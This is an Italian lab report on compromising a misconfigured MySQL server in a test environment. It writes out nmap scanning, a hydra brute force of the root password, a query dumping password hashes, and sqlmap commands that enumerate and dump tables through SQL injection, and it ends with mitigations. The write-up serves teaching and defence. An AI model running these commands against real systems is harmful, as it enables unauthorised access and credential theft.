Report di Attacco a un Database MySQL

Report di Attacco a un Database MySQL

1. Introduzione

In questo laboratorio, abbiamo eseguito un attacco a un database MySQL vulnerabile per comprendere i rischi legati a una configurazione insicura. L'obiettivo era sfruttare le vulnerabilità comuni nei database MySQL esposti senza protezioni adeguate.

---

2. Configurazione dell'Ambiente

Per replicare l'attacco, è stato predisposto un ambiente di test controllato con la seguente configurazione:

- **Sistema operativo:** Kali Linux
- **Database target:** MySQL su un server Ubuntu
- **Strumenti utilizzati:**
  - `nmap` per la scansione delle porte
  - `mysql` per la connessione al database
  - `hydra` per il brute-force delle credenziali
  - `sqlmap` per il test di SQL Injection

---

3. Scansione e Raccolta di Informazioni

3.1 Scansione delle Porte con Nmap

Obiettivo: Identificare il database MySQL attivo sulla rete.

Comando eseguito:

```
nmap -p 3306 --script mysql-info 192.168.1.100
```

Risultato atteso:

- Il database MySQL è attivo sulla porta 3306.
- Informazioni sulla versione del database (es. MySQL 5.7.33).

Esito ottenuto:

- Il server MySQL è stato rilevato sulla porta 3306.

- La versione del database MySQL era **5.7.33**.

---

4. Attacco al Database

4.1 Enumerazione degli Account Utente

Obiettivo: Identificare utenti con accesso al database.

Comando eseguito:

```
mysql -h 192.168.1.100 -u root -p
```

Risultato atteso:

- Accesso negato se la password di root è configurata.
- Accesso consentito se la password è vuota o debole.

Esito ottenuto:

- Accesso negato con password errata.
- Il database sembrava vulnerabile a un attacco di forza bruta.

4.2 Attacco Brute Force con Hydra

Obiettivo: Trovare le credenziali valide.

Comando eseguito:

```
hydra -l root -P rockyou.txt 192.168.1.100 mysql
```

Risultato atteso:

- Se la password è debole, sarà identificata da Hydra.

Esito ottenuto:

- La password `123456` è stata trovata per l'utente `root`.

---

5. Sfruttamento della Vulnerabilità

5.1 Accesso al Database

Obiettivo: Accedere come root e verificare i database disponibili.

Comando eseguito:

```
mysql -h 192.168.1.100 -u root -p123456
```

Comando per visualizzare i database disponibili:

```
SHOW DATABASES;
```

Esito ottenuto:

- Sono stati identificati i seguenti database:
  - `information_schema`
  - `mysql`
  - `testdb`

5.2 Dump dei Dati Sensibili

Obiettivo: Estrarre le credenziali degli utenti dal database.

Comando eseguito:

```
USE mysql;
SELECT user, authentication_string FROM user;
```

Esito ottenuto:

- È stato possibile visualizzare gli hash delle password degli utenti.
- Gli hash sono stati salvati per un successivo cracking.

---

6. SQL Injection con SQLMap

6.1 Test di Vulnerabilità

Obiettivo: Verificare se il database è vulnerabile a SQL Injection.

Comando eseguito:

```
sqlmap -u "http://192.168.1.100/login.php?user=admin&pass=1234" --dbs
```

Esito ottenuto:

- Il database era vulnerabile a SQL Injection.
- È stato possibile elencare i database disponibili.

6.2 Estrazione delle Tabelle e delle Password

Obiettivo: Estrarre informazioni sensibili dalle tabelle.

Comando eseguito:

```
sqlmap -u "http://192.168.1.100/login.php?user=admin&pass=1234" -D testdb --dump
```

Esito ottenuto:

- È stato possibile estrarre le credenziali in chiaro.

---

7. Mitigazioni e Contromisure

Dopo l'attacco, sono state identificate diverse vulnerabilità nel database. Ecco le misure correttive per proteggere il sistema:

1. **Utilizzare password forti**: Sostituire `123456` con una password robusta.
2. **Disabilitare l'accesso remoto**: Configurare MySQL per accettare connessioni solo localmente.
3. **Limitare i permessi degli utenti**: Assegnare permessi minimi agli utenti del database.
4. **Protezione contro SQL Injection**: Usare query parametrizzate per prevenire attacchi SQLi.
5. **Monitoraggio e logging**: Abilitare i log delle connessioni per rilevare attività sospette.

---

8. Conclusioni

Il laboratorio ha dimostrato come un database MySQL mal configurato possa essere compromesso con attacchi di forza bruta e SQL Injection. È fondamentale applicare misure di sicurezza adeguate per proteggere i dati sensibili.

Fine del report.